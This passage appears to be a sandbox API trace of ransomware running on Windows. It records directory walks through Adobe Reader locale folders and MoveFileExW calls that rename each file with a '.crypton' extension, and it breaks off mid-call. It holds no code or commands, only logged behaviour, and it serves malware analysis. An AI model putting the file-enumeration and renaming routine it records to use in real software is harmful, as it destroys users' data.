(x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\EScript.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\escript.suo.crypton"), dwFlags=0x2) returned 1 [0145.811] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\IA32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\ia32.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\IA32.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\ia32.suo.crypton"), dwFlags=0x2) returned 1 [0145.851] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\makeaccessible.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\makeaccessible.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\makeaccessible.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\makeaccessible.suo.crypton"), dwFlags=0x2) returned 1 [0145.894] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Multimedia.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\multimedia.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Multimedia.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\multimedia.suo.crypton"), dwFlags=0x2) returned 1 [0145.913] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\pddom.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\pddom.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\pddom.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\pddom.suo.crypton"), dwFlags=0x2) returned 1 [0146.205] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\PPKLITE.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\ppklite.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\PPKLITE.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\ppklite.suo.crypton"), dwFlags=0x2) returned 1 [0146.575] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\RdLang32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\rdlang32.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\RdLang32.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\rdlang32.suo.crypton"), dwFlags=0x2) returned 1 [0146.590] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\ReadOutLoud.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\readoutloud.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\ReadOutLoud.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\readoutloud.suo.crypton"), dwFlags=0x2) returned 1 [0146.606] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\reflow.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\reflow.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\reflow.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\reflow.suo.crypton"), dwFlags=0x2) returned 1 [0146.620] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\SaveAsRTF.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\saveasrtf.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\SaveAsRTF.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\saveasrtf.suo.crypton"), dwFlags=0x2) returned 1 [0146.636] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Search.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\search.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Search.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\search.suo.crypton"), dwFlags=0x2) returned 1 [0146.647] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\SendMail.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\sendmail.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\SendMail.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\sendmail.suo.crypton"), dwFlags=0x2) returned 1 [0146.656] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4c609e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4c609e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0146.666] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Spelling.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\spelling.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Spelling.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\spelling.suo.crypton"), dwFlags=0x2) returned 1 [0146.679] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\updater.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\updater.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\updater.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\updater.suo.crypton"), dwFlags=0x2) returned 1 [0146.695] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Weblink.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\weblink.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Weblink.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\weblink.suo.crypton"), dwFlags=0x2) returned 1 [0146.704] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4cd2e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4cd2e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0146.710] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4cd2e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4cd2e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0146.717] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4cf8f60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4cf8f60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0146.724] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4cf8f60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4cf8f60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0146.733] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4d1f0c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4d1f0c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0146.739] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4d1f0c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4d1f0c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0146.747] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4d45220, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4d45220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0146.752] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4d45220, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4d45220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0146.759] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4d45220, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4d45220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0146.766] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4d6b380, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4d6b380, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0146.773] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4d6b380, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4d6b380, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0146.780] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4d914e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4d914e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0146.790] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4d914e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4d914e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0146.798] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4db7640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4db7640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0146.806] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4db7640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4db7640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0146.813] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4ddd7a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4ddd7a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0146.820] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4ddd7a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4ddd7a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0146.825] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4e03900, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4e03900, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0146.831] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4e03900, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4e03900, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0146.836] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4e03900, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4e03900, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0146.842] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4e29a60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4e29a60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0146.846] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4e29a60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4e29a60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0146.854] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4e4fbc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4e4fbc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0146.859] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4e4fbc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4e4fbc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0146.865] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4e4fbc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4e4fbc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0146.871] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4e75d20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4e75d20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0146.879] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4e75d20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4e75d20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0146.887] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4e9be80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4e9be80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0146.894] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4e9be80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd4e9be80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0146.910] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\*", 